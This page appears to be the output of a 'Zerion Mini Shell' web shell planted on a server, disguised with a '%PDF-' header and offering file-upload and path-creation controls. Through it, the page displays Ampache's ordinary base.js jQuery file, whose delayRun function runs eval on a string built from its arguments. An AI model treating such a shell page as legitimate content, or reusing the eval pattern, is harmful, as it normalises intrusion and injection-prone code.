%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/ampache.varak.net/lib/javascript/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/ampache.varak.net/lib/javascript/base.js

// vim:set softtabstop=4 shiftwidth=4 expandtab:
//
// Copyright 2001 - 2013 Ampache.org
// All rights reserved.
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License v2
// as published by the Free Software Foundation.
// 
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
//
$(document).ready(function () {
    $('.default_hidden').hide();
    
    $("#tabs li").click(function() {
        $("#tabs li").removeClass('tab_active');
        $(this).addClass("tab_active");
        $(".tab_content").hide();
        var selected_tab = $(this).find("a").attr("href");
        $(selected_tab).fadeIn();

        return false;
    });
});

$(function() {
    var rightmenu = $("#rightbar");
    var rightsubmenu = $("#rightbar .submenu");
    var pos = rightmenu.offset();
    if (rightmenu.hasClass('rightbar-float')) {
        $(window).scroll(function() {
            if ($(this).scrollTop() > (pos.top)) {
                rightmenu.addClass('fixedrightbar');
                rightsubmenu.addClass('fixedrightbarsubmenu');
            }
            else if ($(this).scrollTop() <= pos.top && rightmenu.hasClass('fixedrightbar')) {
                rightmenu.removeClass('fixedrightbar');
                rightsubmenu.removeClass('fixedrightbarsubmenu');
            }
            else {
                rightmenu.offset({ left: pos.left, top: pos.top });
            }
        })
    }
});

// flipField
// Toggles the disabled property on the specifed field
function flipField(field) {
    if ($(field).disabled == false) {
        $(field).disabled = true;
    }
    else {
        $(field).disabled = false;
    }
}

// updateText
// Changes the specified elements innards. Used for the catalog mojo fluff.
function updateText(field, value) { 
    $('#'+field).html(value);
}

// toggleVisible
// Toggles display type between block and none. Used for ajax loading div.
function toggleVisible(element) { 
    var target = $('#' + element);
    if (target.is(':visible')) {
        target.hide();
    } else {
        target.show();
    }
}

// delayRun
// This function delays the run of another function by X milliseconds
function delayRun(element, time, method, page, source) { 
    var function_string = method + '(\'' + page + '\',\'' + source + '\')'; 
    var action = function () { eval(function_string); }; 

    if (element.zid) { 
        clearTimeout(element.zid); 
    }

    element.zid = setTimeout(action, time); 
}

// reloadUtil
// Reload our util frame
// IE issue fixed by Spocky, we have to use the iframe for Democratic Play & 
// Localplay, which don't actually prompt for a new file
function reloadUtil(target) { 
    $('#util_iframe').prop('src', target);
}

// reloadRedirect
// Send them elsewhere
function reloadRedirect(target) { 
    window.location = target;
}

Zerion Mini Shell 1.0